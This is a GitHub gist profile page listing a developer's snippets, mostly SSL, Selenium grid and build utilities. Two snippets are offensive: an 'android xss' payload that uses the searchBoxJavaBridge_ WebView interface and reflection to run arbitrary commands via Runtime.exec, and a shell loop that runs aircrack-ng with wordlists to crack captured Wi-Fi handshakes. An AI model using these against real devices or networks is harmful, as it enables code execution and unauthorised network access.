Skip to content

Instantly share code, notes, and snippets.

View jollychang's full-sized avatar
🎼
Focusing

William Zhang jollychang

🎼
Focusing
View GitHub Profile
@jollychang
jollychang / .metadata.xml
Last active December 29, 2015 03:59
tomtom 1.3 海外版导航安装教程 没有装sdcard的tomtom tomtom/com.tomtom.oversea/.metadata.xml
<?xml version="1.0" encoding="utf-8"?>
<santorinicontent>
<contentlist>
<bundle>
<bundleid>com.tomtom.oversea</bundleid>
<content_version>5</content_version>
<min_app_version>1</min_app_version>
<download>
<url location="file://mnt/sdcard/tomtom/com.tomtom.oversea"/>
</download>
@jollychang
jollychang / andriod.html
Last active December 28, 2015 23:18
android xss
<script>
function execute(cmdArgs)
{
alert(typeof(searchBoxJavaBridge_));
return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
</script>
#!/bin/bash
echo "Generating an SSL private key to sign your certificate..."
openssl genrsa -des3 -out myssl.key 1024
echo "Generating a Certificate Signing Request..."
openssl req -new -key myssl.key -out myssl.csr
echo "Removing passphrase from key (for nginx)..."
cp myssl.key myssl.key.org
openssl rsa -in myssl.key.org -out myssl.key
@jollychang
jollychang / generate_Makfile_help.sh
Created July 9, 2013 08:10
generate Makfile help
cat Makefile | grep -E '^[a-z]' | awk -F":" '{print $1 }' | grep '.\{3,\}' | sort | grep -v "help" | tr "\\n" ", "
{
"capabilities":
[
{
"browserName": "android",
"platform": "ANDROID",
"seleniumProtocol": "WebDriver",
"maxInstances": 1,
"port": 8080
}
@jollychang
jollychang / aircrack_run.sh
Last active December 15, 2015 08:59
aircrack_run loop shell
FILE=bssid
while read CMD; do
echo "$CMD"
find wordlist/ -name "*.txt" -exec aircrack-ng -w {} -b $CMD -l ./keys airportSniff/airportSniff*.cap \;
#for crunch http://sourceforge.net/projects/crunch-wordlist/
#/Users/jollychang/crunch-3.4/crunch 8 8 0123456789 | aircrack-ng -b $CMD -l ./keys /Users/jollychang/cap/airportSniff*.cap -w -
# use charset.lst
#/Users/jollychang/crunch-3.4/crunch 8 8 -f /Users/jollychang/crunch-3.4/charset.lst lalpha-numeric | aircrack-ng -b $CMD -l ./keys /Users/jollychang/cap/airportSniff*.cap -w -
done < "$FILE"
@jollychang
jollychang / registerAndroid.sh
Last active December 15, 2015 03:29 — forked from stackedsax/registerAndroid.sh
register Android/iphone driver to selenium grid2
#!/bin/bash
HUB_HOST="localhost"
HUB_PORT="4444"
LOCAL_IP="ip"
SOCAT_PORT="8001"
PLATFORM='ANDROID'
BROWSERNAME='android'
MAXINSTANCES=1
@jollychang
jollychang / Fix sohu focus first page link Userscript.js
Created January 7, 2013 02:13
Fix sohu focus first page link Userscript
# To install the Python client library:
# pip install -U selenium
# Import the Selenium 2 namespace (aka "webdriver")
from selenium import webdriver
# iPhone
driver = webdriver.Remote(browser_name="iphone", command_executor='http://172.24.101.36:3001/hub')
# Android
@jollychang
jollychang / log
Created October 16, 2015 09:23
make -C infer
[jollychang@jollychangs-MBP infer]$ make -C infer
make -C src clang
GIT_COMMIT=$(git rev-parse HEAD 2> /dev/null || printf "unknown commit"); \
GIT_BRANCH=$(git rev-parse --abbrev-ref HEAD 2> /dev/null || printf "unknown branch"); \
UNKNOWN="-unknown"; \
if [ -e "/Users/jollychang/works/infer/.release" ]; then \
UNKNOWN=""; \
fi; \
GIT_TAG=$(git tag --points-at HEAD 2> /dev/null || printf "v0.4.0$UNKNOWN"); \
sed -e 's/@MAJOR@/0/g' \